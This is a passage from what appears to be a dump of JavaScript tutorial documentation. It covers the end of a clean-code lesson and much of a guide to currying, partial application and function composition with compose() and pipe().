be clearer.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's a 'magic number' and why is it bad?\">\n    **Answer:**\n    \n    A magic number is an unexplained numeric literal in code, like `86400000` or `18`. They're bad because:\n    - You can't search for what they mean\n    - They don't explain their purpose\n    - If the value needs to change, you have to find every occurrence\n    \n    Replace with named constants: `MILLISECONDS_PER_DAY` or `MINIMUM_LEGAL_AGE`.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How would you refactor this nested code?\">\n    ```javascript\n    function processUser(user) {\n      if (user) {\n        if (user.isActive) {\n          if (user.hasPermission) {\n            return doSomething(user)\n          }\n        }\n      }\n      return null\n    }\n    ```\n    \n    **Answer:**\n    \n    Use guard clauses (early returns) to flatten the nesting:\n    \n    ```javascript\n    function processUser(user) {\n      if (!user) return null\n      if (!user.isActive) return null\n      if (!user.hasPermission) return null\n      \n      return doSomething(user)\n    }\n    ```\n    \n    Each guard clause handles one edge case, and the main logic sits at the top level without indentation.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is clean code in JavaScript?\">\n    Clean code is code that is easy to read, easy to understand, and easy to change. Robert C. Martin defines it as code that \"reads like well-written prose\" in his book *Clean Code*. In JavaScript specifically, this means using meaningful variable names, small focused functions, consistent formatting, and avoiding side effects where possible.\n  </Accordion>\n\n  <Accordion title=\"How long should a JavaScript function be?\">\n    A function should do one thing and do it well. While there is no strict line limit, Robert C. Martin recommends functions rarely exceed 20 lines. If a function needs a comment to explain a section, that section should likely be its own function. The key metric is not line count but whether the function operates at a single level of abstraction.\n  </Accordion>\n\n  <Accordion title=\"When should I write comments in my code?\">\n    Write comments to explain *why*, never *what*. Good code is self-documenting through meaningful names and clear structure. Comments are valuable for explaining business rules, performance trade-offs, workarounds for known issues, and legal or regulatory requirements. As the saying in *The Pragmatic Programmer* goes, \"don't document bad code — rewrite it.\"\n  </Accordion>\n\n  <Accordion title=\"What is the DRY principle and when should I apply it?\">\n    DRY stands for \"Don't Repeat Yourself,\" coined by Andy Hunt and Dave Thomas. It means every piece of knowledge should have a single authoritative representation. Apply it when you see the same logic repeated three or more times. However, premature abstraction is worse than duplication — wait until you see a clear, stable pattern before extracting shared code.\n  </Accordion>\n\n  <Accordion title=\"How do I write self-documenting JavaScript code?\">\n    Use descriptive variable and function names that reveal intent (`calculateTotalPrice` not `calc`). Extract complex conditions into named boolean variables. Use `const` by default and `let` only when reassignment is needed. Prefer `for...of` over index-based loops, and use destructuring to name what you're extracting. These practices reduce the need for comments.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Pure Functions\" icon=\"flask\" href=\"/concepts/pure-functions\">\n    Deep dive into functions without side effects and why they make code predictable\n  </Card>\n  <Card title=\"Modern JS Syntax\" icon=\"wand-magic-sparkles\" href=\"/concepts/modern-js-syntax\">\n    ES6+ features like destructuring and arrow functions that enable cleaner code\n  </Card>\n  <Card title=\"Error Handling\" icon=\"triangle-exclamation\" href=\"/concepts/error-handling\">\n    How to handle errors cleanly without swallowing exceptions or cluttering code\n  </Card>\n  <Card title=\"Design Patterns\" icon=\"sitemap\" href=\"/concepts/design-patterns\">\n    Reusable solutions that embody clean code principles at a higher level\n  </Card>\n</CardGroup>\n\n---\n\n## Books\n\n<Card title=\"Clean Code: A Handbook of Agile Software Craftsmanship\" icon=\"book\" href=\"https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882\">\n  The foundational text by Robert C. Martin that started the clean code movement. While examples are in Java, the principles apply to any language. A must-read for every developer.\n</Card>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Clean Code JavaScript\" icon=\"newspaper\" href=\"https://github.com/ryanmcdermott/clean-code-javascript\">\n    The definitive JavaScript adaptation of Clean Code principles with 94k+ GitHub stars. Every example is practical and immediately applicable to your code.\n  </Card>\n  <Card title=\"Clean Coding for Beginners\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/clean-coding-for-beginners/\">\n    freeCodeCamp's beginner-friendly introduction covering the \"why\" behind each clean code principle. Great starting point if you're new to these concepts.\n  </Card>\n  <Card title=\"Coding Style\" icon=\"newspaper\" href=\"https://javascript.info/coding-style\">\n    javascript.info's practical guide to syntax, formatting, and style. Includes a visual cheat sheet you can reference while coding.\n  </Card>\n  <Card title=\"Ninja Code\" icon=\"newspaper\" href=\"https://javascript.info/ninja-code\">\n    A satirical guide showing what NOT to do. The humor makes the anti-patterns memorable, and you'll recognize some of these mistakes in real codebases.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Pro Tips - Code This, NOT That\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Mus_vwhTCq0\">\n    Fireship's fast-paced video showing modern patterns that replace outdated approaches. Great examples of before/after refactoring.\n  </Card>\n  <Card title=\"Clean Code Playlist\" icon=\"video\" href=\"https://www.youtube.com/watch?v=b9c5GmmS7ks&list=PLWKjhJtqVAbkK24EaPurzMq0-kw5U9pJh\">\n    freeCodeCamp's multi-part series covering each clean code principle in depth with live coding. Perfect for visual learners.\n  </Card>\n  <Card title=\"Clean Code - Uncle Bob\" icon=\"video\" href=\"https://www.youtube.com/watch?v=7EmboKQH8lM\">\n    Robert C. Martin himself explaining clean code fundamentals. Hearing it from the source gives you the philosophy behind the principles.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/currying-composition.mdx",
    "content": "---\ntitle: \"Currying & Composition\"\nsidebarTitle: \"Currying & Composition: Functional Patterns\"\ndescription: \"Learn currying and function composition in JavaScript. Build reusable functions from simple pieces using curry, compose, and pipe for cleaner, modular code.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Functional Programming\"\n\"article:tag\": \"currying, function composition, pipe compose, partial application, functional patterns\"\n---\n\nHow does `add(1)(2)(3)` even work? Why do libraries like [Lodash](https://lodash.com/) and [Ramda](https://ramdajs.com/) let you call functions in multiple ways? And what if you could build complex data transformations by snapping together tiny, single-purpose functions like LEGO blocks?\n\n```javascript\n// Currying: one argument at a time\nconst add = a => b => c => a + b + c\nadd(1)(2)(3)  // 6\n\n// Composition: chain functions together\nconst process = pipe(\n  getName,\n  trim,\n  capitalize\n)\nprocess({ name: \"  alice  \" })  // \"Alice\"\n```\n\nThese two techniques, **currying** and **function composition**, are core to functional programming. They let you write smaller, more reusable functions and combine them into powerful pipelines. Once you understand them, you'll see opportunities to simplify your code everywhere. Libraries like [Lodash](https://lodash.com/) and [Ramda](https://ramdajs.com/) — which have over 50 million and 2 million weekly npm downloads respectively — make heavy use of currying and composition as foundational patterns.\n\n<Info>\n**What you'll learn in this guide:**\n- What currying is and how `add(1)(2)(3)` actually works\n- The difference between currying and partial application (they're not the same!)\n- How to implement your own `curry()` helper function\n- What function composition is and why it matters\n- How to build `compose()` and `pipe()` from scratch\n- Why currying and composition work so well together\n- When to use libraries like Lodash vs vanilla JavaScript\n- Real-world patterns used in production codebases\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [closures](/concepts/scope-and-closures) and [higher-order functions](/concepts/higher-order-functions). Currying depends entirely on closures to work, and both currying and composition involve functions that return functions.\n</Warning>\n\n---\n\n## What is Currying?\n\n**Currying** is a transformation that converts a function with multiple arguments into a sequence of functions, each taking a single argument. It's named after mathematician Haskell Curry, who formalized the concept in combinatory logic during the 1930s, though the technique was first described by Moses Schönfinkel in 1924.\n\nInstead of calling `add(1, 2, 3)` with all arguments at once, a curried version lets you call `add(1)(2)(3)`, providing one argument at a time. Each call returns a new function waiting for the next argument.\n\n```javascript\n// Regular function: takes all arguments at once\nfunction add(a, b, c) {\n  return a + b + c\n}\nadd(1, 2, 3)  // 6\n\n// Curried function: takes one argument at a time\nfunction curriedAdd(a) {\n  return function(b) {\n    return function(c) {\n      return a + b + c\n    }\n  }\n}\ncurriedAdd(1)(2)(3)  // 6\n```\n\nWith arrow functions, curried functions become beautifully concise:\n\n```javascript\nconst add = a => b => c => a + b + c\nadd(1)(2)(3)  // 6\n```\n\n<Tip>\n**Key insight:** Currying doesn't call the function. It transforms it. The original logic only runs when ALL arguments have been provided.\n</Tip>\n\n---\n\n## The Pizza Restaurant Analogy\n\nImagine you're at a build-your-own pizza restaurant. Instead of shouting your entire order at once (\"Large thin-crust pepperoni pizza!\"), you go through a series of stations:\n\n1. **Size station:** \"What size?\" → \"Large\" → You get a ticket for a large pizza\n2. **Crust station:** \"What crust?\" → \"Thin\" → Your ticket now says large thin-crust\n3. **Toppings station:** \"What toppings?\" → \"Pepperoni\" → Your pizza is made!\n\nEach station remembers your previous choices and waits for just one more piece of information.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE PIZZA RESTAURANT ANALOGY                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   orderPizza(size)(crust)(toppings)                                      │\n│                                                                          │\n│   ┌───────────────┐     ┌───────────────┐     ┌───────────────┐          │\n│   │  SIZE STATION │     │ CRUST STATION │     │TOPPING STATION│          │\n│   │               │     │               │     │               │          │\n│   │ \"What size?\"  │ ──► │ \"What crust?\" │ ──► │  \"Toppings?\"  │ ──► 🍕   │\n│   │   \"Large\"     │     │    \"Thin\"     │     │  \"Pepperoni\"  │          │\n│   │               │     │               │     │               │          │\n│   └───────────────┘     └───────────────┘     └───────────────┘          │\n│          │                     │                     │                   │\n│          ▼                     ▼                     ▼                   │\n│   Returns function       Returns function      Returns the               │\n│   that remembers         that remembers        final pizza!              │\n│   size=\"Large\"           size + crust                                    │\n│                                                                          │\n│   Each station REMEMBERS your previous choices using closures!           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nHere's that pizza order in code:\n\n```javascript\nconst orderPizza = size => crust => topping => {\n  return `${size} ${crust}-crust ${topping} pizza`\n}\n\n// Full order at once\norderPizza(\"Large\")(\"Thin\")(\"Pepperoni\")\n// \"Large Thin-crust Pepperoni pizza\"\n\n// Or step by step\nconst largeOrder = orderPizza(\"Large\")           // Remembers size\nconst largeThinOrder = largeOrder(\"Thin\")        // Remembers size + crust\nconst myPizza = largeThinOrder(\"Pepperoni\")      // Final pizza!\n// \"Large Thin-crust Pepperoni pizza\"\n\n// Create reusable \"order templates\"\nconst orderLarge = orderPizza(\"Large\")\nconst orderLargeThin = orderLarge(\"Thin\")\n\norderLargeThin(\"Mushroom\")   // \"Large Thin-crust Mushroom pizza\"\norderLargeThin(\"Hawaiian\")   // \"Large Thin-crust Hawaiian pizza\"\n```\n\nThe magic is that each intermediate function \"remembers\" the arguments from previous calls. That's [closures](/concepts/scope-and-closures) at work!\n\n---\n\n## How Currying Works Step by Step\n\nLet's trace through exactly what happens when you call a curried function:\n\n```javascript\nconst add = a => b => c => a + b + c\n\n// Step 1: Call add(1)\nconst step1 = add(1)\n// Returns: b => c => 1 + b + c\n// The value 1 is \"closed over\" - remembered by the returned function\n\n// Step 2: Call step1(2)  \nconst step2 = step1(2)\n// Returns: c => 1 + 2 + c\n// Now both 1 and 2 are remembered\n\n// Step 3: Call step2(3)\nconst result = step2(3)\n// Returns: 1 + 2 + 3 = 6\n// All arguments collected, computation happens!\n\nconsole.log(result)  // 6\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     HOW CURRYING EXECUTES                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   add(1)(2)(3)                                                           │\n│                                                                          │\n│   ┌─────────────────────────────────────────────────────────────────┐    │\n│   │ add(1)                                                          │    │\n│   │   a = 1                                                         │    │\n│   │   Returns: b => c => 1 + b + c                                  │    │\n│   └──────────────────────────────┬──────────────────────────────────┘    │\n│                                  │                                       │\n│                                  ▼                                       │\n│   ┌─────────────────────────────────────────────────────────────────┐    │\n│   │ (2)  ← called on returned function                              │    │\n│   │   b = 2, a = 1 (from closure)                                   │    │\n│   │   Returns: c => 1 + 2 + c                                       │    │\n│   └──────────────────────────────┬──────────────────────────────────┘    │\n│                                  │                                       │\n│                                  ▼                                       │\n│   ┌─────────────────────────────────────────────────────────────────┐    │\n│   │ (3)  ← called on returned function                              │    │\n│   │   c = 3, b = 2, a = 1 (all from closures)                       │    │\n│   │   Returns: 1 + 2 + 3 = 6                                        │    │\n│   └─────────────────────────────────────────────────────────────────┘    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### The Closure Connection\n\nCurrying depends entirely on [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures) to work. Each nested function \"closes over\" the arguments from its parent function, keeping them alive even after the parent returns. As [MDN explains](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures), a closure gives a function access to its outer scope's variables even when the outer function has finished executing — this is the mechanism that allows curried functions to \"remember\" earlier arguments.\n\n```javascript\nconst multiply = a => b => a * b\n\nconst double = multiply(2)  // 'a' is now 2, locked in by closure\nconst triple = multiply(3)  // Different closure, 'a' is 3\n\ndouble(5)   // 10 (2 * 5)\ntriple(5)   // 15 (3 * 5)\ndouble(10)  // 20 (2 * 10)\n\n// 'double' and 'triple' each have their own closure\n// with their own remembered value of 'a'\n```\n\n---\n\n## Implementing a Curry Helper\n\nWriting curried functions manually works, but it's tedious for functions with many parameters. Let's build a `curry()` helper that transforms any function automatically.\n\n### Basic Curry (Two Arguments)\n\n```javascript\nfunction curry(fn) {\n  return function(a) {\n    return function(b) {\n      return fn(a, b)\n    }\n  }\n}\n\n// Usage\nconst add = (a, b) => a + b\nconst curriedAdd = curry(add)\n\ncurriedAdd(1)(2)  // 3\n```\n\n### Advanced Curry (Any Number of Arguments)\n\nThis version handles functions with any number of arguments and supports calling with multiple arguments at once. It uses [`fn.length`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length) to know how many arguments the original function expects:\n\n```javascript\nfunction curry(fn) {\n  return function curried(...args) {\n    // If we have enough arguments, call the original function\n    if (args.length >= fn.length) {\n      return fn.apply(this, args)\n    }\n    \n    // Otherwise, return a function that collects more arguments\n    return function(...nextArgs) {\n      return curried.apply(this, args.concat(nextArgs))\n    }\n  }\n}\n```\n\nLet's break down how this works:\n\n```javascript\nfunction sum(a, b, c) {\n  return a + b + c\n}\n\nconst curriedSum = curry(sum)\n\n// All these work:\ncurriedSum(1, 2, 3)     // 6 - called normally\ncurriedSum(1)(2)(3)     // 6 - fully curried\ncurriedSum(1, 2)(3)     // 6 - mixed\ncurriedSum(1)(2, 3)     // 6 - mixed\n```\n\n<Accordion title=\"Step-by-step trace of curry(sum)(1)(2)(3)\">\n```javascript\n// Initial call: curry(sum)\n// fn = sum, fn.length = 3\n// Returns the 'curried' function\n\n// Call: curriedSum(1)\n// args = [1], args.length (1) < fn.length (3)\n// Returns a new function that remembers [1]\n\n// Call: (previousResult)(2)\n// args = [1, 2], args.length (2) < fn.length (3)  \n// Returns a new function that remembers [1, 2]\n\n// Call: (previousResult)(3)\n// args = [1, 2, 3], args.length (3) >= fn.length (3)\n// Calls sum(1, 2, 3) and returns 6\n```\n</Accordion>\n\n### ES6 Concise Version\n\nFor those who love one-liners:\n\n```javascript\nconst curry = fn => \n  function curried(...args) {\n    return args.length >= fn.length\n      ? fn(...args)\n      : (...next) => curried(...args, ...next)\n  }\n```\n\n<Warning>\n**Limitation:** The `fn.length` property doesn't count [rest parameters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters) or parameters with [default values](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters):\n\n```javascript\nfunction withRest(...args) {}     // length is 0\nfunction withDefault(a, b = 2) {} // length is 1\n\n// Curry won't work correctly with these!\n// You'd need to specify arity manually:\n// curry(fn, expectedArgCount)\n```\n</Warning>\n\n---\n\n## Currying vs Partial Application\n\nThese terms are often confused, but they're different techniques:\n\n| Aspect | Currying | Partial Application |\n|--------|----------|---------------------|\n| Arguments per call | Always **one** | Any number |\n| What it returns | Chain of unary functions | Single function with some args fixed |\n| Transformation | Structural (changes function shape) | Creates specialized version |\n\n### Currying Example\n\nCurrying always produces functions that take exactly one argument:\n\n```javascript\n// Curried: each call takes ONE argument\nconst add = a => b => c => a + b + c\n\nadd(1)       // Returns: b => c => 1 + b + c\nadd(1)(2)    // Returns: c => 1 + 2 + c  \nadd(1)(2)(3) // Returns: 6\n```\n\n### Partial Application Example\n\nPartial application fixes some arguments upfront, and the resulting function takes all remaining arguments at once:\n\n```javascript\n// Partial application helper\nfunction partial(fn, ...presetArgs) {\n  return function(...laterArgs) {\n    return fn(...presetArgs, ...laterArgs)\n  }\n}\n\nfunction greet(greeting, punctuation, name) {\n  return `${greeting}, ${name}${punctuation}`\n}\n\n// Fix the first two arguments\nconst greetExcitedly = partial(greet, \"Hello\", \"!\")\n\ngreetExcitedly(\"Alice\")  // \"Hello, Alice!\"\ngreetExcitedly(\"Bob\")    // \"Hello, Bob!\"\n\n// The returned function takes remaining args TOGETHER, not one at a time\n```\n\n### Visual Comparison\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│              CURRYING VS PARTIAL APPLICATION                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   Original: greet(greeting, punctuation, name)                           │\n│                                                                          │\n│   CURRYING:                                                              │\n│   ─────────                                                              │\n│   curriedGreet(\"Hello\")(\"!\")(\"Alice\")                                    │\n│        │           │         │                                           │\n│        ▼           ▼         ▼                                           │\n│   [1 arg]  →  [1 arg]  →  [1 arg]  →  result                             │\n│                                                                          │\n│   PARTIAL APPLICATION:                                                   │\n│   ────────────────────                                                   │\n│   partial(greet, \"Hello\", \"!\")(\"Alice\")                                  │\n│        │                         │                                       │\n│        ▼                         ▼                                       │\n│   [2 args fixed]       →    [1 arg]    →  result                         │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Tip>\n**When to use which?**\n- **Currying:** When you want maximum flexibility in how arguments are provided\n- **Partial Application:** When you want to create specialized versions of functions with some arguments preset\n</Tip>\n\n---\n\n## Real-World Currying Patterns\n\nCurrying isn't just a theoretical concept. Here are patterns you'll see in production code:\n\n### 1. Configurable Logging\n\n```javascript\n// Curried logger factory\nconst createLogger = level => timestamp => message => {\n  const time = timestamp ? new Date().toISOString() : ''\n  console.log(`[${level}]${time ? ' ' + time : ''} ${message}`)\n}\n\n// Create specialized loggers\nconst info = createLogger('INFO')(true)\nconst debug = createLogger('DEBUG')(true)\nconst error = createLogger('ERROR')(true)\n\n// Use them\ninfo('Application started')     // [INFO] 2024-01-15T10:30:00.000Z Application started\ndebug('Processing request')     // [DEBUG] 2024-01-15T10:30:00.000Z Processing request\nerror('Connection failed')      // [ERROR] 2024-01-15T10:30:00.000Z Connection failed\n\n// Logger without timestamp for development\nconst quickLog = createLogger('LOG')(false)\nquickLog('Quick debug message')  // [LOG] Quick debug message\n```\n\n### 2. API Client Factory\n\n```javascript\nconst createApiClient = baseUrl => endpoint => options => {\n  return fetch(`${baseUrl}${endpoint}`, options)\n    .then(res => res.json())\n}\n\n// Create clients for different APIs\nconst githubApi = createApiClient('https://api.github.com')\nconst myApi = createApiClient('https://api.myapp.com')\n\n// Create endpoint-specific fetchers\nconst getGithubUser = githubApi('/users')\nconst getMyAppUsers = myApi('/users')\n\n// Use them\ngetGithubUser({ method: 'GET' })\n  .then(users => console.log(users))\n```\n\n### 3. Event Handler Configuration\n\n```javascript\nconst handleEvent = eventType => element => callback => {\n  element.addEventListener(eventType, callback)\n  \n  // Return cleanup function\n  return () => element.removeEventListener(eventType, callback)\n}\n\n// Create specialized handlers\nconst onClick = handleEvent('click')\nconst onHover = handleEvent('mouseenter')\n\n// Attach to elements\nconst button = document.querySelector('#myButton')\nconst removeClick = onClick(button)(() => console.log('Clicked!'))\n\n// Later: cleanup\nremoveClick()\n```\n\n### 4. Validation Functions\n\n```javascript\nconst isGreaterThan = min => value => value > min\nconst isLessThan = max => value => value < max\nconst hasLength = length => str => str.length === length\n\n// Create specific validators\nconst isAdult = isGreaterThan(17)\nconst isValidAge = isLessThan(120)\nconst isValidZipCode = hasLength(5)\n\n// Use with array methods\nconst ages = [15, 22, 45, 8, 67]\nconst adults = ages.filter(isAdult)  // [22, 45, 67]\n\nconst zipCodes = ['12345', '1234', '123456', '54321']\nconst validZips = zipCodes.filter(isValidZipCode)  // ['12345', '54321']\n```\n\n### 5. Discount Calculator\n\n```javascript\nconst applyDiscount = discountPercent => price => {\n  return price * (1 - discountPercent / 100)\n}\n\nconst tenPercentOff = applyDiscount(10)\nconst twentyPercentOff = applyDiscount(20)\nconst blackFridayDeal = applyDiscount(50)\n\ntenPercentOff(100)      // 90\ntwentyPercentOff(100)   // 80\nblackFridayDeal(100)    // 50\n\n// Apply to multiple items\nconst prices = [100, 200, 50, 75]\nconst discountedPrices = prices.map(tenPercentOff)  // [90, 180, 45, 67.5]\n```\n\n---\n\n## What is Function Composition?\n\n**Function composition** is the process of combining two or more functions to produce a new function. The output of one function becomes the input of the next.\n\nIn mathematics, composition is written as `(f ∘ g)(x) = f(g(x))`. In code, we read this as \"f after g\" or \"first apply g, then apply f to the result.\"\n\n```javascript\n// Individual functions\nconst add10 = x => x + 10\nconst multiply2 = x => x * 2\nconst subtract5 = x => x - 5\n\n// Manual composition (nested calls)\nconst result = subtract5(multiply2(add10(5)))\n// Step by step: 5 → 15 → 30 → 25\n\n// With a compose function\nconst composed = compose(subtract5, multiply2, add10)\ncomposed(5)  // 25\n```\n\nWhy compose instead of nesting? Because this:\n\n```javascript\naddGreeting(capitalize(trim(getName(user))))\n```\n\nBecomes this:\n\n```javascript\nconst processUser = compose(\n  addGreeting,\n  capitalize,\n  trim,\n  getName\n)\nprocessUser(user)\n```\n\nMuch easier to read, modify, and test!\n\n---\n\n## The Assembly Line Analogy\n\nThink of function composition like a factory assembly line. Raw materials enter one end, pass through a series of stations, and a finished product comes out the other end.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE ASSEMBLY LINE ANALOGY                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   RAW INPUT ──► [Station A] ──► [Station B] ──► [Station C] ──► OUTPUT   │\n│                                                                          │\n│   pipe(stationA, stationB, stationC)(rawInput)                           │\n│                                                                          │\n│   ─────────────────────────────────────────────────────────────────────  │\n│                                                                          │\n│   Example: Transform user data                                           │\n│                                                                          │\n│   { name: \"  ALICE  \" }                                                  │\n│         │                                                                │\n│         ▼                                                                │\n│   ┌─────────────┐                                                        │\n│   │  getName    │  →  \"  ALICE  \"                                        │\n│   └─────────────┘                                                        │\n│         │                                                                │\n│         ▼                                                                │\n│   ┌─────────────┐                                                        │\n│   │    trim     │  →  \"ALICE\"                                            │\n│   └─────────────┘                                                        │\n│         │                                                                │\n│         ▼                                                                │\n│   ┌─────────────┐                                                        │\n│   │ toLowerCase │  →  \"alice\"                                            │\n│   └─────────────┘                                                        │\n│         │                                                                │\n│         ▼                                                                │\n│   Final output: \"alice\"                                                  │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nEach station:\n1. Takes input from the previous station\n2. Does ONE specific transformation\n3. Passes output to the next station\n\nThis is exactly how composed functions work!\n\n---\n\n## compose() and pipe()\n\nThere are two ways to compose functions, differing only in direction:\n\n| Function | Direction | Reads like... |\n|----------|-----------|---------------|\n| `compose(f, g, h)` | Right to left | Math: `f(g(h(x)))` |\n| `pipe(f, g, h)` | Left to right | A recipe: \"first f, then g, then h\" |\n\n### Implementing pipe()\n\n`pipe` flows left-to-right, which many developers find more intuitive. It uses [`reduce()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) to chain functions together:\n\n```javascript\nconst pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n```\n\nLet's trace through it:\n\n```javascript\nconst getName = obj => obj.name\nconst toUpperCase = str => str.toUpperCase()\nconst addExclaim = str => str + '!'\n\nconst shout = pipe(getName, toUpperCase, addExclaim)\n\nshout({ name: 'alice' })\n\n// reduce trace:\n// Initial: x = { name: 'alice' }\n// Step 1: getName({ name: 'alice' }) → 'alice'\n// Step 2: toUpperCase('alice') → 'ALICE'\n// Step 3: addExclaim('ALICE') → 'ALICE!'\n// Result: 'ALICE!'\n```\n\n### Implementing compose()\n\n`compose` flows right-to-left, matching mathematical notation. It uses [`reduceRight()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight) instead:\n\n```javascript\nconst compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x)\n```\n\n```javascript\n// compose processes right-to-left\nconst shout = compose(addExclaim, toUpperCase, getName)\nshout({ name: 'alice' })  // 'ALICE!'\n\n// This is equivalent to:\naddExclaim(toUpperCase(getName({ name: 'alice' })))\n```\n\n### Which Should You Use?\n\n```javascript\n// These produce the same result:\npipe(a, b, c)(x)      // a first, then b, then c\ncompose(c, b, a)(x)   // Same! c(b(a(x)))\n```\n\nMost developers prefer `pipe` because:\n1. It reads left-to-right like English\n2. Functions are listed in execution order\n3. It's easier to follow the data flow\n\n```javascript\n// pipe: reads in order of execution\nconst processUser = pipe(\n  validateInput,    // First\n  sanitizeData,     // Second\n  saveToDatabase,   // Third\n  sendNotification  // Fourth\n)\n\n// compose: reads in reverse order\nconst processUser = compose(\n  sendNotification, // Fourth (but listed first)\n  saveToDatabase,   // Third\n  sanitizeData,     // Second\n  validateInput     // First (but listed last)\n)\n```\n\n---\n\n## Building Data Pipelines\n\nComposition really shines when building data transformation pipelines:\n\n```javascript\nconst pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n\n// Individual transformation functions\nconst removeSpaces = str => str.trim()\nconst toLowerCase = str => str.toLowerCase()\nconst splitWords = str => str.split(' ')\nconst capitalizeFirst = words => words.map((w, i) => \n  i === 0 ? w : w[0].toUpperCase() + w.slice(1)\n)\nconst joinWords = words => words.join('')\n\n// Compose them into a pipeline\nconst toCamelCase = pipe(\n  removeSpaces,\n  toLowerCase,\n  splitWords,\n  capitalizeFirst,\n  joinWords\n)\n\ntoCamelCase('  HELLO WORLD  ')  // 'helloWorld'\ntoCamelCase('my variable name') // 'myVariableName'\n```\n\n### Real-World Pipeline: Processing API Data\n\n```javascript\n// Transform API response into display format\nconst processApiResponse = pipe(\n  // Extract data from response\n  response => response.data,\n  \n  // Filter active users only\n  users => users.filter(u => u.isActive),\n  \n  // Sort by name\n  users => users.sort((a, b) => a.name.localeCompare(b.name)),\n  \n  // Transform to display format\n  users => users.map(u => ({\n    id: u.id,\n    displayName: `${u.firstName} ${u.lastName}`,\n    email: u.email\n  })),\n  \n  // Take first 10\n  users => users.slice(0, 10)\n)\n\n// Use it\nfetch('/api/users')\n  .then(res => res.json())\n  .then(processApiResponse)\n  .then(users => renderUserList(users))\n```\n\n---\n\n## Why Currying and Composition Work Together\n\nCurrying and composition are natural partners. Here's why:\n\n### The Problem: Functions with Multiple Arguments\n\nComposition works best with functions that take a single argument and return a single value. But many useful functions need multiple arguments:\n\n```javascript\nconst add = (a, b) => a + b\nconst multiply = (a, b) => a * b\n\n// This doesn't work!\nconst addThenMultiply = pipe(add, multiply)\naddThenMultiply(1, 2)  // NaN - multiply receives one value, not two\n```\n\n### The Solution: Currying\n\nCurrying converts multi-argument functions into chains of single-argument functions, making them perfect for composition:\n\n```javascript\n// Curried versions\nconst add = a => b => a + b\nconst multiply = a => b => a * b\n\n// Now we can compose!\nconst add5 = add(5)         // x => 5 + x\nconst double = multiply(2)  // x => 2 * x\n\nconst add5ThenDouble = pipe(add5, double)\nadd5ThenDouble(10)  // (10 + 5) * 2 = 30\n```\n\n### Data-Last Parameter Order\n\nFor composition to work smoothly, the **data** should be the **last** parameter. This is called \"data-last\" design:\n\n```javascript\n// ❌ Data-first (hard to compose)\nconst map = (array, fn) => array.map(fn)\nconst filter = (array, fn) => array.filter(fn)\n\n// ✓ Data-last (easy to compose)\nconst map = fn => array => array.map(fn)\nconst filter = fn => array => array.filter(fn)\n\n// Now they compose beautifully\nconst double = x => x * 2\nconst isEven = x => x % 2 === 0\n\nconst doubleEvens = pipe(\n  filter(isEven),\n  map(double)\n)\n\ndoubleEvens([1, 2, 3, 4, 5, 6])  // [4, 8, 12]\n```\n\n### Point-Free Style\n\nWhen currying and composition combine, you can write code without explicitly mentioning the data being processed. This is called **point-free** style:\n\n```javascript\n// With explicit data parameter (pointed style)\nconst processNumbers = numbers => {\n  return numbers\n    .filter(x => x > 0)\n    .map(x => x * 2)\n    .reduce((sum, x) => sum + x, 0)\n}\n\n// Point-free style (no explicit 'numbers' parameter)\nconst isPositive = x => x > 0\nconst double = x => x * 2\nconst sum = (a, b) => a + b\n\nconst processNumbers = pipe(\n  filter(isPositive),\n  map(double),\n  reduce(sum, 0)\n)\n\n// Both do the same thing:\nprocessNumbers([1, -2, 3, -4, 5])  // 18\n```\n\nPoint-free code focuses on the transformations, not the data. It's often more declarative and easier to reason about.\n\n---\n\n## Lodash, Ramda, and Vanilla JavaScript\n\nLibraries like [Lodash](https://lodash.com/) and [Ramda](https://ramdajs.com/) are popular because they provide battle-tested implementations of currying, composition, and many other utilities.\n\n### Why Use a Library?\n\nLibraries offer features our simple implementations lack:\n\n```javascript\nimport _ from 'lodash'\n\n// 1. Placeholder support\nconst greet = _.curry((greeting, name) => `${greeting}, ${name}!`)\ngreet(_.__, 'Alice')('Hello')  // \"Hello, Alice!\"\n// The __ placeholder lets you skip arguments\n\n// 2. Works with variadic functions  \nconst sum = _.curry((...nums) => nums.reduce((a, b) => a + b, 0), 3)\nsum(1)(2)(3)  // 6\n\n// 3. Auto-curried utility functions\n_.map(x => x * 